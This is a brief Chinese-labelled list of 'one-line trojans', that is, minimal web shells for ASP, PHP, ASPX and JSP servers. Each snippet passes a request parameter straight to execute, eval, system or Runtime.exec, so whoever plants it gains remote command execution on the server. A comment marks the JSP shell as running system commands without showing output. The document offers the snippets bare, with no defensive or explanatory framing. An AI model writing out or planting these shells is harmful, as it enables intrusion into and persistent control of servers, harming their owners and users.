asp一句话木马:

<%execute(request("value"))%>

php一句话木马:

<?php @eval($_POST[value]);?>

<?php system($_REQUEST['cmd']);?>

aspx一句话木马:

<%@ Page Language="Jscript"%>

<%eval(Request.Item["value"])%>

jsp

<%Runtime.getRuntime().exec(request.getParameter("i"));%> //无回显示执行系统命令